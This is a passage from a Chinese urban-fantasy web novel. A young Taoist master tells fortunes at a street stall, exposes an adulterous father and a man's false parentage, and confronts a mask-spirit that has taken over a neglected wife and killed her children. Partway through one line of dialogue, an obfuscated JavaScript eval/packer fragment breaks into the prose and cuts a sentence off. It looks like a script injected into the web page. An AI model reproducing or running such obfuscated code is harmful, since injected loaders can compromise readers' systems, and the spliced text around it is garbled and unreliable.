段安洛语气柔和,神色却很认真,“你是普通人,不是玄门中人。修缮玄门的房子不能用你的钱,沾染因果,对你不好。” 穆清卓盯着他看了几秒,胸膛起伏,显然气得不轻。他几乎是咬着牙说道:“行,那就当是我捐的,捐给玄门总行了吧?我积德行善!” 段安洛沉默了一下,抬眼,平静地戳破他:“这不是你赚的钱,是你爷爷赚的。” 穆清卓被他这句话噎得脸色铁青,嘴唇紧抿,下颌线绷得死紧,说到底,还是他不行。 他没本事,他护不住爷爷,他连钱也赚不到。 穆少气冲冲的走了,回去奋斗去了。 江源回来后却高兴的不行,拿出考了29分的卷子让段安洛帮他签字,还跟段安洛憧憬了一下未来,“师祖,咱们下一步就是把窗户换成玻璃的!再安个空调,换两个灯泡,再把外面的墙皮和地面修一修,咱们的日子越来越好了!” 段安洛看他这么容易满足,很欣慰,这孩子别的东西没学会,玄门的精髓倒是学了个十成:心大,容易满足,野草一般的生命力。 段安洛觉得自己不能再这么养着了,他要奋斗!为了垃圾食品和视频会员!还有不吃草! 靠孩子养自己,孩子只能给他喂草,白菜,生菜,蒿子杆,虽然跟他祖师奶一直没联系,但感觉头顶还是绿绿的。 “源儿,走,咱们去算两卦,晚上带你去吃烤羊腿。”段安洛走了两步想起来,“对了,带上你那个证。” 于是,傍晚时分,小吃街的街头出现一个卦摊。 段安洛慵懒的靠坐在折叠的布椅子上,一件地摊上随处可见的白色大T,遮不住身上的贵气,精致的五官加上慵懒的气质,瞬间吸引了不少路过的人。 江源脖子上挂着一个印着红章的道士证,被挤来挤去的,娃娃脸皱的像对面卖的狗不理包子,“各位姑奶奶别挤啊!两百起价,想算的排这边,看热闹的排这边!” 一个叫黎莺的女孩不顾母亲阻拦,扫了两百块钱,“大师,您给我算算情缘。 我有个交往了两年的男朋友,我家里一直看不上他,在老家给我介绍了一个。我没同意,但这事我男朋友知道后,他很不高兴,经常闹脾气,每次都是我哄他。 时间长了,我也累了,再加上父母找的那人对我很好,家庭条件也不错。我不知道该怎么选择,现在特别迷茫。” 黎莺她妈没好气的说:“有什么可迷茫的,那小子对你就不是真心。我吃过的盐比你吃过的米都多,我能看错?” 段安洛看了看母女俩的面相,目光落在她们身后的大叔身上,长长的睫毛掩不下眼底的嫌弃,“你爹不算吗?” “我爹?我爸呀?”黎莺讪讪的摆摆手,“他不信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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段安洛也不强求,“这个渣,黄薄眉,眉尾松散,压迫奸门。这样的人年轻的时候有点钱,不过是虚张声势,发迹不会太久,若是不做恶事,安稳度过晚年,否则家产破败,客死他乡。更重要的是,他一生会有好几段失败的婚姻,只为求子,我怀疑这人找的是……同妻。” 要不是这两天刷剧刷的勤,他都说不出这么时髦的词。 本来田秀贞听段安洛说她闺女的前男友不行,她还挺得意的,一听说她找的也不行,立马就不高兴了,“小道长,人家清阳观的观主都说了,我找的这个是好姻缘。你可别胡说,什么同妻同夫的,我们听不懂,你算的不准,把钱退我们。” 段安洛抬头,“相比较你女儿的姻缘,我觉得你更应该关注一下你自己。你姊妹六个,你年纪最小,从小就是被宠着长大。婚后生育两男一女,你本来是能安享晚年的命格。” 段安洛每说一句,田秀贞的嘴巴就震惊的张大几分,最后都快塞下一个鸡蛋了,这都知道? 段安洛真心的提议:“建议你去租二亩地,没事的时候给你丈夫套上绳子,犁地能消耗他的精力,省得他被骗得倾家荡产,害的你有病没钱治,不得好死。” 正偷偷给小三发信息的男人手一抖,手机差点掉地上。 “你,你胡说什么?”他色厉内荏的指着段安洛的鼻子,“你诽谤我,小心我报警抓你!” 段安洛直视他的眼眸,“犁地的时候别用农具,你的嘴就够硬。对了,多用点农家肥,遮你嘴里的臭味。” 他怀疑自己被江源传染了,现在太穷了,穷得连饭都吃不起,不算也得算,算了就得给钱,算完了还得让他说谢谢。 17. 小心你的妻子 男人看着段安洛这双好似能洞察人心的眼睛,心头发凉,嗓子发紧,紧张地咽了口唾沫,不知道怎么反驳。 他这个反应,不傻都能看出有问题。 娘俩这时候也反应过来,特别是田秀贞,看丈夫的眼神都要喷火了。 最近这半年,丈夫经常不回家,工资也没给过她,都这把年纪了,她从没想过他能在外面有人。 看他这个反应,这老小子没准真的出轨了。 田秀贞眼疾手快,一把抢过丈夫的手机,看到聊天记录和转账记录,她的脑袋嗡的一声,这狗东西,竟然在给小三转钱! 她划了几下屏幕,往上看聊天记录,发现这竟然不是第一次转钱,这个老狗竟然在给别人养孩子! 老不死的,要不要脸啊! 田秀贞怒火直冲天灵盖,女儿都到了结婚的年纪,他竟然敢出轨,她不怕丢人,她的孩子还怕丢人呢!以后让人知道她的孩子有个出轨的爸,被人在背后指指点点,她一想就要疯了。 田秀贞从小就泼辣,五十多岁,正好是发福的年纪,肩宽腰粗巴掌厚,抡起胳膊就往丈夫脸上打,黎莺拉都拉不住。 段安洛等她抽完巴掌,才指着牌子,“加两百卦金,你爹的。” 有点小钱就敢背叛糟糠之妻,这种人渣也就值这点钱了,以后没财运了。 黎莺赶忙扫了五百块钱,她现在已经不知道怎么办了,她三观都炸了。 打完了丈夫的田秀贞从包里掏出一把现金,也不管有多少,全都塞给段安洛,“道长,今天要多谢你,要不是你提醒,我都不知道这个狗东西偷偷转出去这么多钱,这些钱您别嫌少,就当是给祖师爷的香火钱。” 段安洛摸了摸厚度,高兴地点了点头,“源儿,给她个联系方式,两个月后,你儿子要是有困难,可以来找我。” 田秀贞感激地接过来,心思已经不在这上面了,也没听出段安洛的言外之意,拉着丈夫想走。 就见段安洛指着鼻子被打出血的男人,“他还没说谢谢。” 这卦可是他主动给算的,他竟然连道谢都没有,道德败坏还没有礼貌,垃圾! 男人已经快被气死了,“你他妈破坏我家庭还想让我跟你道谢?” 段安洛默默画符,道德败坏还骂人,诅咒他嘴里长疮一年,禁言一个月。 “你个小白脸你……阿巴阿巴,啊哇……” 段安洛惊呆了,不是,这么快就见效了吗?他以前诅咒人可没这么快。 再看符咒上,已经染上一层黑气,段安洛心头一跳,他好像知道这黑气是什么东西了,果然,魔神不是那么好杀的。 围观的人看到这里,也明白段安洛算得真准,立马有好几个人围过来,“大师,你给我算算,我什么时候能住上大别墅,开上大跑车,迎娶白富美,走上人生巅峰?” “大师,我明天要去面试,你能不能给我加个逢考必过的buff?” “大师,你能不能帮我画个圈圈诅咒背叛我的狗渣男?让他下半辈子左脚画6右脚踢,娶个老婆爱做鸡。” 一个年轻人被朋友推过来,“大师,你给他算算。” 段安洛暂时把疑惑放在心底,沉吟了片刻,突然语出惊人,“你不是你爸爸亲生的。” 小伙子愣了一下,苦笑道:“不能吧。” 他朋友义愤填膺,“果然!我就说你爸妈不对劲,哪有亲生父母……” 另一个沉稳一些的朋友拉了他俩一下,“大师,你给他算算吧,家庭,事业,爱情,什么都行。” 他要给段安洛扫钱,段安洛捂住二维码,“让他自己出钱,这是他的命运,别人不要有过多牵扯。现在没钱就不着急给,”他意味深长地说,“以后有缘还会再见。” 哥仨没想到这个大师这么讲究,还这么佛性,最让人惊讶的是他怎么知道小唐现在没钱? 段安洛平静地说:“我看看你家人的照片。” 小伙子尴尬地问:“你说真的?” 段安洛直视对方的眼睛,“你心里早就有预感了,不是吗?” 这小伙子名叫唐峥旭,帝都人,因为家里那些破事,心情不好,俩兄弟刚发了工资,就奢侈一把,带他出来旅游。 在朋友的催促下,唐峥旭犹豫片刻,把手机里唯一一张家人的照片给段安洛看。 其实不用看照片,段安洛也能看到很多画面,不管是过去的,还是将来的,只要有媒介,他就能看到。 不过有照片,他才能指着人的鼻子骂,“这个渣,轮飞廓反六亲薄,无亲无靠,年轻时却靠着一张好嘴入赘女方家。” 唐峥旭沉默了,他爸确实是入赘的,母亲生他的时候去世了,父亲虽然另娶,说是怀念母亲,让他随母姓。可是他看得出来,他爸对他妈一点都不怀念,甚至连祭日都记不住。 “在原配怀孕期间出轨,气的原配一尸两命,他为了侵吞妻子家产,在外面买了个孩子,谎称是原配生的,随母姓。这个孩子,就是你。” 唐峥旭不敢相信,但又说不出什么,他和父亲确实长得不像,和他同父异母的弟弟更是没有一点相似的地方。 “他们对你并不好,三年没回去了吧。” 唐峥旭自嘲地笑了笑,岂止是不好,他在家里的地位,都不如他后妈养的那条狗。 段安洛又指着女人,“这个渣,十三岁父母双亡,姨母看她可怜,把她带回家抚养。供她吃穿,供她读书,视如己出,甚至比自己的孩子还要疼爱。 没想到她勾引姨父,逼姨母离婚,分了姨父一半家产,逍遥快活了两年,又当了你父亲的外室,就是你们常说的小三儿。你那个弟弟,是她姨父的种,还是别人的种,她自己都分不清。 从面相上来看,他命中确实有一子,可惜早早夭折,是被他亲手害死的。你俩,都不是他的种。” 短暂的沉默后,唐峥旭的两个朋友比他还生气,“果然不是亲生的!我就说吧,哪有对亲生孩子这样的?报警!现在就报警,万一是真的,你就不用在家里受罪了。” 那个稳重一些的朋友也劝他:“反正关系已经这么差了,也不在乎更僵了,万一大师说的是真的呢?” 段安洛看唐峥旭一直沉默,提醒他:“真正爱你的人一直在找你,四十多岁已经满头白发,她的身体已经等不了多久了。” 唐峥旭浑身一震,对段安洛深深地鞠了一躬,“我现在没钱,以后要是有缘分再见面,一定重谢!” “不用,”段安洛摆了摆手,笑呵呵地说,“咱俩在血缘上好像有点关系,现在你在命运的转折点上,我看不太清。拿着卦金去买糖吧,就当是舅姥爷给你的见面礼。” 唐峥旭一脸懵,啊? 段安洛挥挥手让他走,他自己的身世他自己也看不清,原身更没有记忆,他只是在看到这个小伙子后有个模糊的画面闪过去,以后的事以后再说吧。 仨人走后,段安洛看了一圈,目光落在路过的一个年轻人身上,“穿黑色衣服的小伙子,你不算吗?” 被点名的崔杨一脸意外,“我?不需要,我挺好的。” 段安洛看着他的脸,脸色沉下来,“源儿,给他一张名片。” 他在名片上点了点,“随身带着,能救你的命,还有,小心你的妻子。” 崔杨没好气地骂了一句:“你有病吧!” 然后就把名片给扔了。 段安洛嘴角勾了勾,“你再找我,我要你半年工资。” 崔杨心说我又没事,我找你干什么?知道他一个月多少钱吗?张嘴就要半年的,你想钱想疯了吧。 他扭头就走了。 江源把名片捡起来,发现段安洛刚才摁在上面的那点灵气,经过崔杨的碰触后,已经发黑了。 “师祖,您看。” 段安洛示意他扔了吧,脏了。 崔杨推开家门,浓郁的饭菜香气扑面而来,像一张温柔的网,瞬间裹住他疲惫的身体。 妻子正从厨房端出最后一道菜,砂锅盖子掀开,奶白色的肉汤飘着热气,鲜香传遍了整个餐厅。 “回来了?洗手吃饭吧。”她声音温软,笑意盈盈,眼波流转间带着一种近乎刻意的温柔。 餐桌上已经摆好了菜,红烧排骨油亮诱人,清炒的小菜碧绿脆嫩,特别是那锅鱼汤,汤色浓白,几片嫩姜和翠绿的葱花浮在上面,让人食欲大增。 崔杨坐下后,疲惫的感觉一扫而空,“你手艺真是越来越好了。” 他由衷赞叹,这一个月,他老婆的手艺突飞猛进,厉害的让他感觉陌生。 妻子没说话,只是拿起他面前的碗,舀了满满一大勺肉汤,多到快要溢出来,“你爱吃,我就多做点。” 她把碗轻轻推到他面前,眼神炙热地盯着他,仿佛在欣赏一件珍贵的藏品,“多喝点汤,养人。” 崔杨确实饿了,埋头吃起来。 排骨软烂脱骨,滋味浓郁得恰到好处,蔬菜清甜爽口,那锅汤更是鲜美异常,一口下去,暖意从喉咙直熨帖到胃里,四肢百骸都舒展开了。 太美味了,美味到让他产生一种近乎贪婪的饥渴感,明明胃已半满,筷子却停不下来。 他含糊地应着:“好吃……真的好吃……” 等吃的差不多,他才突然想起来,“两个孩子呢?” 家里安静得过分,大儿子刚上小学,每天写作业都弄得家里鸡飞狗跳的。 小女儿刚刚半岁,看不见她妈就哭。 今天安静得不正常。 “小的睡了,”妻子依旧微笑着,那弧度像是精心丈量过,一丝不多,一丝不少,“大的早就吃饱了,在自己房里写作业,都乖着呢。” 他欣慰地点点头,孩子越来越懂事了,妻子真的把他们养得很好。 注意力重新被眼前的美食勾回来,味道真好,他咀嚼着,只觉得越吃越渴,越吃越饿,形成一种怪异的循环。 身体深处似乎有个无底洞,再多的食物填进去,也听不见一点回响。 他还能吃,吃很多。 妻子适时地夹了一大块排骨放进他碗里,“多吃点。” 她声音轻得像叹息,目光落在他明显松弛的衬衫肩线处,“看你最近,瘦了。” 这话像根针,轻轻刺进了崔杨的心里,瘦? 他下意识摸了摸自己的脸颊,好像是比前阵子瘦了点。 不只是瘦,最近他整个人都很累,白天在办公室里,眼皮重得像灌了铅,对着电脑屏幕,有时候报告上的字都像会蠕动的小黑点,看得他头晕。 浑身也没什么力气,一点都不想动。 还有他的脾气,以前他是整个办公室人缘最好的,现在有一点小事就能让他火起,像干燥的柴火,沾不得半点火星子,最近同事都不愿意跟他说话了。 他在心里想,肯定是最近搞的这个项目压力太大了,做完了他就跟老板请假,好好休息几天,带全家出去度个假。 妻子坐在对面,小口吃着米饭,姿态从容优雅。 灯光柔和地洒在她脸上,精心描画的眉,晕染自然的腮红,还有那丰润的、涂着口红的嘴唇,让她整个人美得发光。 崔杨停下吃饭的动作,看着她出神,她变了,从什么时候开始的呢? 记忆里那个总是风风火火、素面朝天、在厨房手忙脚乱、辅导孩子功课时声音能掀翻屋顶的女人,是什么时候变得这么温柔,精致? 还有这妆,从前她忙得脚不沾地,常常是胡乱洗把脸就出门,眉眼间总带着挥之不去的倦怠。 而现在,即使在家里,她也妆容精致,一丝不苟。 那粉底,那腮红,那口红……像一层精心描绘的面具。 面具? 这个念头一闪,太阳穴猛地抽痛起来,像被一把生锈的钝锥子狠狠地凿了一下。他倒吸一口气,筷子差点脱手。 哪里不对劲?到底是哪里? “嘶……”他按住太阳穴,一想就疼得厉害。 “怎么了?”妻子的声音适时传来,她放下自己的碗,又拿起汤勺,乳白色的汤再次盛他面前的碗里,“再喝点汤吧。” 那汤的热气蒸腾上来,带着不容拒绝的鲜香,霸道地打断了他刚刚冒头的想法。 18. 噬魂幡:嫂子开门,我是我哥! 最终,崔杨还是把整桌的菜都吃了。 晚上,他陷在柔软的床铺里,身体累得不行,意识却越来越清醒。按照往常,他早就睡着了,可今天不知道怎么回事,手指头隐隐作痛,他翻来覆去的,怎么也睡不着。 不知道为什么,他想起下班路上遇到的那个算命先生,他说小心他的妻子,小心什么呢? 她这么完美,一切都是他想要的样子,他应该满足才是。 夜已经深了,大儿子早就写完作业,已经睡着了。 女儿也没有声音,从他回来之后,一次哭声都没有,一切都是他想要的样子。 他可以安心睡觉,不用听他们的叫声和哭声,他只要上班赚钱就够了。 他突然想去看看孩子们,特别是小女儿,他已经三天没见女儿了。软软糯糯的小丫头,不哭不闹的时候跟天使一样,一笑就能融化他的心。 他愧疚地坐起来,怪他,一直忙,怪不得孩子都跟他不亲。 自从有了二胎,他不满孩子的哭声打扰他睡觉,发了好几次脾气,妻子就带着两个孩子去侧卧睡了。 他摸索着起身,怕吵醒孩子,没敢出声。 此时侧卧的门虚掩着,月光从窗户上照进来,把靠近窗边的位置照得清清楚楚。 崔杨想先确认孩子们睡了没有,就先悄悄的在门缝里看了一眼,没想到就这一眼,差点把他吓到魂飞魄散。 小床旁边,月光和黑暗的交界处有一张小桌子,上面摆着一面镜子,那是他给妻子买的梳妆台。 刚结婚的时候,他没什么钱,当时是在网上买的,花了三百块钱,对当时的他们还说,已经算是奢侈品了。 当时妻子高兴的哭了,还嫌他乱花钱,他抱着她哄了好久,说他以后会努力赚钱,再给她换个更大的,给她做个衣帽间。 上个月桌子腿被调皮的儿子弄断了,妻子生气的问能不能帮她修一下。 他说他很忙,没空管家里的破事,让她不要有事没事就找他。 那桌子是她自己修好的,她不擅长做这些,买了块木板钉上,修完后钉子还露在外面半截。妻子怕扎到孩子,用胶带缠了厚厚的一层。 此时她正坐在梳妆桌前化妆,镜子里映出她惨白的脸。 就像网上卖的那种廉价的白色全脸面具,又或者是小孩涂鸦用的石膏娃娃,纯白,一点色彩都没有的白。 崔杨全身的血液瞬间冲向头顶!刺骨的寒意包裹住他的全身,扼住他的喉咙,他僵硬的立在侧卧的门口,连逃跑的本能反应都忘记了。 那个女人拿着一把白色的梳子,一下、一下,缓慢而专注地梳理她披散下来的长发。 梳完后她放下梳子,拿起桌上的一个圆形的盒子,用指甲从里面抠出一块膏体状的东西,然后仔细、均匀地涂抹在脸上。 她动作庄重的像是在完成某种仪式,额头、脸颊、鼻梁、下巴……镜子里那张脸,随着她的涂抹,不再白得渗人,渐渐有了血色。 最后,她拿出一盒红色的膏体,用手指沾了,缓慢的涂抹在自己的嘴唇上。像是血液凝固后才有的红色,月光下红的刺眼。 做完这一切,她停了下来,对着镜子微微歪了歪头,像是在欣赏,又像是在确认哪里有疏漏。 崔杨下意识的咽了口唾沫,压在心口的那口气终于喘上来,他老婆,还是人吗? 他小时候看过《聊斋》,里面的画皮鬼就是这样的,那是他的童年噩梦,吓得他很长时间晚上都不敢闭眼,他不会遇到画皮了吧? 镜子里的人,嘴角缓慢地向上勾了一下,看得出她对自己现在的样子很满意。 紧接着她笑容僵住了,“嘎吱”一声,脖子发出一声木头转动的时候才能发出的声音,“老公,你在外面吗?” 崔杨狠狠掐了自己一把,冷静!他一定要冷静!他的孩子都在那个房间里! 女人缓缓起身,崔杨灵机一动,转身进了隔壁卫生间。 他被吓得腿软,几乎是趴在水池子上,努力稳住声音:“我上个厕所,你还没睡啊?” 他现在悔得肠子都青了,他为什么要扔掉那张名片! 他的手指又疼了,就是摸到名片的那个手指,钻心的疼,好像在提醒他赶紧去求救,赶紧去找那个算卦的。 女人静静地站在门口,一动不动,仿佛在聆听什么。 崔杨屏住呼吸,心脏狂跳,生怕她察觉到异样。 他从来不知道时间可以过得这么慢,每一秒对他来说都是煎熬,就在崔杨快要崩溃的时候,女人缓缓转身,走回了房间。 崔杨大口的喘着气,神经几乎绷断,冷汗浸透了后背。 他勉强让自己冷静了下来,走到侧卧门前,尽量让声音听起来正常:“老婆,公司临时有事,老板让我去加个班,你先睡吧,不用等我。” 门内传来妻子轻柔的回应:“好,你去吧,路上小心。” 崔杨没敢再回应,出了家门后几乎是爬进电梯,出了单元门就开始疯跑,他必须尽快找到那个卦摊。 深夜的小吃街已经没什么人了,晚风吹过,卷起几张废纸,显得格外萧索。 他四处张望,都没看到卦摊的影子,只能按照记忆中的地址找过去。最终,他在一条偏僻的巷子里看到了一栋破旧的宅子。 “大师?在吗?”崔杨试探性地喊了一声,没见过哪个高人住在这种破地方,他甚至怀疑自己记错了。 江源正盘坐在祖宗牌位前打坐,可惜晚上吃太多了,人吃多了就容易困,然后江掌门坐着坐着就在列祖列宗的注视下睡着了。 段安洛还给孩子盖了床单,怕他着凉。 被这突如其来的喊声把江源吵醒,他无奈的起来开门,看到脸色惨白的崔杨,江源皱着眉问:“是你啊?这么快就找来了?” 不相信师祖的人,他就不喜欢。他就是师祖的脑残粉,护体小马甲,师祖说了,看谁不爽就干谁,否则道心不稳,他就想怼崔杨两句。 “对,是我!”崔杨已经顾不上江源的态度,一把抓住他的胳膊,“我老婆……她不是人!” 江源被他抓得胳膊疼,皱眉抽回手:“怎么了?” “她没有脸!不,不是没有脸……她没有五官!白的,雪白!像画皮一样!”崔杨语无伦次,眼眶发红,“我的孩子还在家里,求你们快去救救他们!” 段安洛懒洋洋的从后面走出来,他打了个哈欠,目光落在崔杨身上:“你说你害怕,担心孩子,可从头到尾,你都没问过你老婆怎么样,是不记得了吗?” 崔杨一愣,这才意识到,自己确实下意识的忽略了妻子。 他喃喃的问:“她真的是我老婆吗?” 段安洛淡淡一笑:“她现在的样子,不就是你一直想要的吗? 温柔贤惠,会做饭,会打扮,永远光鲜亮丽,带出去有面子。 她还能带孩子,辅导作业,哄孩子不哭,把家里收拾得一尘不染。 体贴你,从不抱怨,不跟你吵架,不嫌你赚钱少,甚至不跟你要生活费。” 崔杨的脸色越来越白,对啊,这个月他没给生活费,孩子的奶粉钱是哪来的? 他吃的饭菜,又是用什么买的? 段安洛看着他,语重心长地劝:“既然她这么完美,是不是人又有什么关系呢?你回去跟她好好过日子,她已经很累了,你别这么不懂事。” 崔杨双腿发软,几乎要给段安洛跪下,“大师,您别开玩笑了,我真的要吓死了。” 段安洛盯着他看了几秒,突然问:“你之前的妻子好,还是现在这个好?” 崔杨张了张嘴,理智告诉他该说“当然是原来的好”,可话到嘴边却卡住了。 现在的妻子确实完美得不像话,家务全包、从不抱怨、把孩子照顾得妥妥帖帖。 但这份完美背后,她不是人啊! 他的声音低得几乎听不见,“现在的确实很好,可是……” “可是再好也不是人,对吧?”段安洛冷笑一声,转身就走,困了,睡觉去。 崔杨一把抓住他的衣角,急切地问:“大师,我老婆是怎么变成这样的?她还能回来吗?” “现在才想起来问?”段安洛讥讽的瞪了他一眼,把自己的衣角拽回来,拍脏东西一样拍了拍上面的褶皱,“你早干什么去了?” 这句话像一记耳光,咣的一下子抽在崔杨脸上,他羞愧的低下头,“对不起,我太害怕了。” 段安洛的话让崔杨想起了十年前,他们没钱,连婚礼都没办,她说没关系,以后有钱了再补上,只要跟他在一起,什么都不怕。 想起她为了省下租房钱,连续吃了三个月的青菜面条。 想起感冒生病快坚持不住的时候,俩人抠储蓄罐里的硬币去买药……那时候,他老婆都没想离开他。 想起现在,她为他辞了工作,为他生儿育女,他也为了让她还孩子们过上好日子,拼了命的赚钱。 可不知道从什么时候开始,妻子在他心里的重量越来越少,他需要照顾的太多了,理所当然的把妻子放在最后一位。 他拼到现在,竟然把自己的初衷都忘了。 崔杨狠狠的给了自己一个耳光,“都是我的错!大师,求您救救我老婆吧!” 崔杨抬起头,眼泪止不住的往下流,“我想要我原来那个会生气、会唠叨、会为了一点小事跟我吵架的老婆,就算现在的再好,那也不是她!” 段安洛的神色终于缓和了些,淡淡道:“还算有点良心,走吧,回去。” 崔杨胡乱抹了把脸,踉踉跄跄地跟了上去:“去哪儿啊?” 段安洛摘了挂在墙上的噬魂幡:“当然是回去弄死它。” 他话锋一转,“不过我不敢保证你的妻子还能不能回来,就连两个孩子我也不敢确定。毕竟哪有孩子不会哭?” 除非是死掉的孩子。 崔杨整个人都僵住了,心慌得站不稳。 江源见气氛压抑,憨了吧唧地过去:“劳驾,钱先交一下,你半年的工资。” 崔杨愣了愣,浑浑噩噩地掏出手机转账,一看余额,“对不起,我现在没这么多。” 江源转头看向段安洛,咋办? 段安洛:“有多少给多少。” 崔杨机械地输入密码,转了三万四。 江源从兜里掏出一串钥匙晃了晃:“加五块的车费,记得写欠条,和欠的账一起还。” 小孩眼里是毫不掩饰的嫌弃:既要这个,又要那个的,他老婆变化那么大他都没发现,到底是真傻还是没心? 段安洛被逗笑了,谁说江源没脾气?孩子生气的时候可爱着呢。 到了崔杨家,一开门,就闻到一股奇怪的气味,像是某种香料混合着肉类的腐败味。 江源皱了皱鼻子,又掏出他那把小破桃木剑,深呼吸两次之后就想往里冲。师祖说了,看不顺眼就得干,否则道心不稳,他已经悟道了。 段安洛无奈的揪住他的衣领子,把他拽回来,这孩子不知道怎么回事,越来越愣了。 把两人都挡在自己身后,段安洛率先进去,直奔侧卧。 门虚掩着,味道就是从这个门缝里渗出来的。 段安洛站在门口,有礼貌地用噬魂幡敲了敲虚掩的门:“嫂子睡了吗?没睡出来死一下。” 19. 你也配叫段安洛?! 卧室里的女人不满的问:“老公,你不是去加班了吗?带外人来家里,怎么不提前跟我说一声?” 崔杨浑身抖得不成样子,牙齿不受控制地打颤。他有些恍惚,他老婆已经很久没用这种语气跟他说话了,他真贱啊,他竟然有些怀念。 梳妆台前的背影缓缓转过身来,月光下,那张精致的面容带着恰到好处的微笑,可她的声音却带着怨气,“这么久了,你终于察觉到了。” 听着不像是附在她身体里的东西说的,反而像原身说的。 崔杨强忍着恐惧,双膝一软跪在地上,拱着手给女人作揖,“我求求你离开她的身体吧,我给你烧纸,我给你立长生牌都行,你要什么我都给,你放过她吧!” 女人没有回答,反而歪着头,这个动作让她的脖子发出“咔咔”的声响,像一截僵硬的木头。她轻声问:“崔杨,我对你不好吗?” 崔杨咬了咬牙:“好,你对我很好,但你不是她。” 女人缓缓往外走,“应该说,我不是人,对吧?如果我是人的话,你还会想起她吗?” 崔杨愣了愣,随即坚定的摇了摇头:“我不知道,但是你现在让我选,我还是会选她,我们那么多的记忆,我是忘不了的。” “哈哈哈……太可笑了!”女人好像听到了天大的笑话,笑过后之嘲讽地问他:“你不就是希望我变成这样吗?我变成了你想要的样子,你又跟我怀念过去讲情怀,你怎么这么贪心!” 段安洛按下了电灯开关,在明亮的灯光下,女人眼里的悲伤更加明显,那不是面具的伪装,而是真真切切属于人类的哀伤。 江源一个箭步上前,啪的一下子,把一张符纸贴在女人额头上。 段安洛嘴角抽了抽,这孩子到底怎么了?受什么刺激了? 出乎意料的是,符纸没有燃烧起来,反而慢慢被浸湿了,那是眼泪,人类的眼泪。 段安洛轻叹一声,“崔杨,跟她告别吧,她的三魂七魄只剩一魄了。” 他的目光落在床边的婴儿床上,目光越来越冷:“孩子们也是。” 噬魂幡展开,漆黑的幡面上暗红色的符文开始流动,段安洛摸着那些符文,一直懒洋洋的气质终于凌厉起来,“既然杀了无辜之人,那就有取死之道。” 灵气在他脚下散开,变成无数条绳索扑向女人。 被捆住的女人剧烈的挣扎起来,身体里面的怨气被抽走,顿时像缩了水一样,变瘦,变黑,裸漏在外面的皮肤上,肉眼可见的长出树皮才有的纹路。 她挣脱不开,怒气转向崔杨,恶狠狠的骂他:“人类真是贪得无厌!崔杨!我满足了你所有的愿望,你却带人来杀我!我永远都不会原谅你!她也不会原谅你!她到死都恨你!” 一道黑雾扑向崔杨,被段安洛抬手挡住,崔杨已经僵在原地,脑子里全是那句“她到死都恨你!”。 崔杨回过神后,哭着喊:“老婆我错了!我真的知道错了!你快回来!你别不要我了!” 女人干瘪的身体像是被吸干了水分的木头,她僵硬的扭过头,看着崔杨伤心的样子,目光平静的像看一个陌生人。 哀莫大于心死,最后残留的这一魄,对崔杨也没有丝毫情谊。 她累了,要不是牵挂孩子,她早就走了。 她被封印在身体里,看着自己的身体被控制后,崔杨每天都幸福的像个傻逼,她只觉得恶心透了。 女人闭上眼,不想再看丈夫一眼,她不爱了,也不恨了,如果有下辈子,只求别再遇见了。 一张精心绘制的木质面具,从女人脸上掉下来,砸在地板上,发出“咚”的一声闷响。 崔杨被吓的往后退了几步,犹豫了一下,又爬了过去,哭着捡起那张面具。上面栩栩如生地绘制着他妻子的脸,他双手捧着,搂在怀里,哭的像个傻子。 就在这时,一股黑雾突然从面具中溢出来,飞向崔杨,江源以为有危险,想上去阻止,段安洛拦住他:“这是他妻子留下的,让他看吧。” 崔杨看见三个月前的自己,西装革履的他刚到家,就看到妻子站在门口,怀里抱着哭闹的小女儿,急的满头大汗。 “老公,孩子高烧,得带她去医院,你能不能……” “你自己去不行吗?”他皱着眉打断她的话,低头看了眼手表,“我今晚还有应酬,客户很重要。” 妻子张了张嘴,最终只是轻轻点头,“好,那你忙。” 画面一转,医院走廊的长椅上,妻子坐在冰凉的椅子上,怀里抱着昏睡的孩子。她的脸色苍白得可怕,手里拿着验血的单子,眼泪无声地砸在纸上,却连哭都不敢出声。那无助的样子像一只大手,攥的人心脏紧紧的,让人喘不过气来。 画面又一转,脸色苍白的妻子抱着小女儿,在学校跟老师道歉:“您放心,我回去肯定好好教育他,孩子不听话,您尽管教育,该打就打。” 老师看她这样,于心不忍,“孩子爸爸呢?他不管孩子吗?你看着脸色也不好,孩子还这么小……” 不等老师说完,妻子紧张的打断了老师的话:“您别找他爸爸,找我就行,他爸爸忙。” …… 深夜,妻子站在镜子前,疲惫的扯出一抹微笑,对着镜子说:“再坚持一下,孩子们长大就好了。” 最后一幕,妻子抱着深夜哭闹的孩子,神情麻木,“妈妈快坚持不下去了,你们什么时候才能长大?” 崔杨的胸口剧烈的起伏,喉咙里挤出一声哽咽:“她从来没说过……” 那些深夜的等待,那些默默咽下的委屈,那些被生活磨平的温柔,他竟然全都视而不见。日复一日的柴米油盐,年复一年的鸡零狗碎,早已将最初的爱意消磨得面目全非。 他还记得,刚认识的时候他老婆身材很好,人也漂亮,满心满眼都是他,眼睛里像有光一样,不管什么时候,看他的眼神都亮晶晶的。 后来不亮了,没光了,看他的眼神总是带着怨气。 他以为妻子不爱他了,还跟妻子闹过脾气,他从不知道,妻子会这么累。 他早就实现了在一起时的承诺,他却忘了自己的初衷,还是一味的想要赚钱,而陪伴他的那个人却被他弄丢了,连什么时候丢的都不知道。 崔杨颤颤巍巍的把面具放在妻子的脸上,他想要放回去,好像只要放回去,他的妻子就能活过来一样。 咔嚓一声,面具里最后一缕怨气散了,面具紧跟着碎成两半,崔杨疯了一样,一遍又一遍的把碎掉的面具扣上去,又一遍又一遍的掉下来,他无助的看着段安洛,“大师,你救救她,快救救她,她不动了!她睡着了!” 段安洛摇了摇头,“人总在失去后,才知道自己曾经有过多么珍贵的东西。” 崔杨愣愣的坐了几秒,猛的惊醒,冲过去一把掀开盖在婴儿床上的小被子,随即他踉跄的跪在地上。 里面根本没有孩子,只有用旧衣服和头发扎成的玩偶。 崔杨疯了一样掀开所有的被褥,“孩子呢?孩子在哪儿?” 段安洛目光看向衣柜,崔杨感受到了什么,扑过去一把拉开柜门。 瞬间,一股腐臭味扑面而来。 两个小小的身影蜷缩在角落里,一动不动。更可怕的是,婴儿的四肢已经被没有了。 巨大的悲伤彻底压垮了崔杨,他连哭都哭不出来,只是张着大嘴,喉咙里发出嗬嗬的声音,然后卡着嗓子开始吐…… 就在这时,段安洛侧头听了一下外面,“警察来了,大半夜的,咱们动静太大了。” 周围的邻居听到哭声,又喊打喊杀的,以为出事了,赶紧报了警。 